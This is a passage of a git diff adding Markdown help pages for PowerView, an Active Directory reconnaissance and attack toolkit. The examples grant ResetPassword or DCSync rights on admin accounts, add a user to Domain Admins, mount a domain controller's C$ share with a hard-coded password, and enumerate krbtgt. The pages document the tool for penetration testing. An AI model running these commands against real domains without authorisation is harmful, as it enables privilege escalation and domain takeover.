Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +## PARAMETERS + +### -Identity +A group SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GroupName, GroupIdentity + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Members +One or more member identities, i.e. +SamAccountName (e.g. +Group1), DistinguishedName +(e.g. +CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: MemberIdentity, Member, DistinguishedName + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Add-DomainObjectAcl.md b/docs/Recon/Add-DomainObjectAcl.md new file mode 100755 index 00000000..c530e810 --- /dev/null +++ b/docs/Recon/Add-DomainObjectAcl.md @@ -0,0 +1,361 @@ +# Add-DomainObjectAcl + +## SYNOPSIS +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Add-DomainObjectAcl [[-TargetIdentity] ] [-TargetDomain ] [-TargetLDAPFilter ] + [-TargetSearchBase ] -PrincipalIdentity [-PrincipalDomain ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-Rights ] [-RightsGUID ] +``` + +## DESCRIPTION +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. +Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. +These rights are granted on the target +object for the specified -PrincipalIdentity. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +``` + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +``` + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +\[no results returned\] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +## PARAMETERS + +### -TargetIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. +Required. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -TargetDomain +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TargetLDAPFilter +Specifies an LDAP query string that is used to filter Active Directory object targets. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TargetSearchBase +The LDAP source to search through for targets, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PrincipalIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. +Required. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PrincipalDomain +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Rights +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsGUID +Manual GUID representing the right to add to the target. + +```yaml +Type: Guid +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell](https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell) + diff --git a/docs/Recon/Add-RemoteConnection.md b/docs/Recon/Add-RemoteConnection.md new file mode 100755 index 00000000..86112e24 --- /dev/null +++ b/docs/Recon/Add-RemoteConnection.md @@ -0,0 +1,114 @@ +# Add-RemoteConnection + +## SYNOPSIS +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. +If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### ComputerName (Default) +``` +Add-RemoteConnection [-ComputerName] -Credential +``` + +### Path +``` +Add-RemoteConnection [-Path] -Credential +``` + +## DESCRIPTION +This function uses WNetAddConnection2W to make a 'temporary' (i.e. +not saved) connection +to the specified remote -Path (\\\\UNC\share) with the alternate credentials specified in the +-Credential object. +If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\\\UNC\share path +or -ComputerName. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Cred = Get-Credential +``` + +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\\\PRIMARY.testlab.local\C$\' -Credential $Cred + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$Cred = Get-Credential +``` + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the system to add a \\\\ComputerName\IPC$ connection for. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: HostName, dnshostname, name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the remote \\\\UNC\path to add the connection for. + +```yaml +Type: String[] +Parameter Sets: Path +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Convert-ADName.md b/docs/Recon/Convert-ADName.md new file mode 100755 index 00000000..7f9f42bb --- /dev/null +++ b/docs/Recon/Convert-ADName.md @@ -0,0 +1,184 @@ +# Convert-ADName + +## SYNOPSIS +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Convert-ADName [-Identity] [[-OutputType] ] [[-Domain] ] [[-Server] ] + [[-Credential] ] +``` + +## DESCRIPTION +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Convert-ADName -Identity "TESTLAB\harmj0y" +``` + +harmj0y@testlab.local + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical +``` + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local +``` + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +## PARAMETERS + +### -Identity +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. +'pflynn' + DomainSimple simple domain name format, e.g. +'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. +'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. +'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name, ObjectName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OutputType +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. +'pflynn' + DomainSimple simple domain name format, e.g. +'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. +'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. +'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. +'HTTP/kairomac.contoso.com' + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more objects name strings on the pipeline. + +## OUTPUTS + +### String + +Outputs a string representing the converted name. + +## NOTES + +## RELATED LINKS + +[http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67](http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67) + diff --git a/docs/Recon/ConvertFrom-SID.md b/docs/Recon/ConvertFrom-SID.md new file mode 100755 index 00000000..186e19b6 --- /dev/null +++ b/docs/Recon/ConvertFrom-SID.md @@ -0,0 +1,126 @@ +# ConvertFrom-SID + +## SYNOPSIS +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +## SYNTAX + +``` +ConvertFrom-SID [-ObjectSid] [[-Domain] ] [[-Server] ] + [[-Credential] ] +``` + +## DESCRIPTION +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 +``` + +TESTLAB\harmj0y + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID +``` + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +## PARAMETERS + +### -ObjectSid +Specifies one or more SIDs to convert. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: SID + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more SID strings on the pipeline. + +## OUTPUTS + +### String + +The converted DOMAIN\username. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/ConvertFrom-UACValue.md b/docs/Recon/ConvertFrom-UACValue.md new file mode 100755 index 00000000..c75f9421 --- /dev/null +++ b/docs/Recon/ConvertFrom-UACValue.md @@ -0,0 +1,127 @@ +# ConvertFrom-UACValue + +## SYNOPSIS +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +ConvertFrom-UACValue [-Value] [-ShowAll] +``` + +## DESCRIPTION +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. +By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertFrom-UACValue -Value 66176 +``` + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser harmj0y | ConvertFrom-UACValue +``` + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll +``` + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +## PARAMETERS + +### -Value +Specifies the integer UAC value to convert. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: UAC, useraccountcontrol + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ShowAll +Switch. +Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### Int + +Accepts an integer representing a UAC binary blob. + +## OUTPUTS + +### System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +## NOTES + +## RELATED LINKS + +[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144) + diff --git a/docs/Recon/ConvertTo-SID.md b/docs/Recon/ConvertTo-SID.md new file mode 100755 index 00000000..71e9cea6 --- /dev/null +++ b/docs/Recon/ConvertTo-SID.md @@ -0,0 +1,120 @@ +# ConvertTo-SID + +## SYNOPSIS +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +## SYNTAX + +``` +ConvertTo-SID [-ObjectName] [[-Domain] ] [[-Server] ] [[-Credential] ] +``` + +## DESCRIPTION +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. +If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertTo-SID 'DEV\dfm' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +## PARAMETERS + +### -ObjectName +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name, Identity + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more username specification strings on the pipeline. + +## OUTPUTS + +### String + +A string representing the SID of the translated name. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Export-PowerViewCSV.md b/docs/Recon/Export-PowerViewCSV.md new file mode 100755 index 00000000..d2d2a89f --- /dev/null +++ b/docs/Recon/Export-PowerViewCSV.md @@ -0,0 +1,117 @@ +# Export-PowerViewCSV + +## SYNOPSIS +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Export-PowerViewCSV -InputObject [-Path] [[-Delimiter] ] [-Append] +``` + +## DESCRIPTION +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. +This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' +``` + +## PARAMETERS + +### -InputObject +Specifies the objects to export as CSV strings. + +```yaml +Type: PSObject[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the path to the CSV output file. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delimiter +Specifies a delimiter to separate the property values. +The default is a comma (,) + +```yaml +Type: Char +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: , +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Append +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### PSObject + +Accepts one or more PSObjects on the pipeline. + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/](http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/) + diff --git a/docs/Recon/Find-DomainLocalGroupMember.md b/docs/Recon/Find-DomainLocalGroupMember.md new file mode 100755 index 00000000..be4055fc --- /dev/null +++ b/docs/Recon/Find-DomainLocalGroupMember.md @@ -0,0 +1,351 @@ +# Find-DomainLocalGroupMember + +## SYNOPSIS 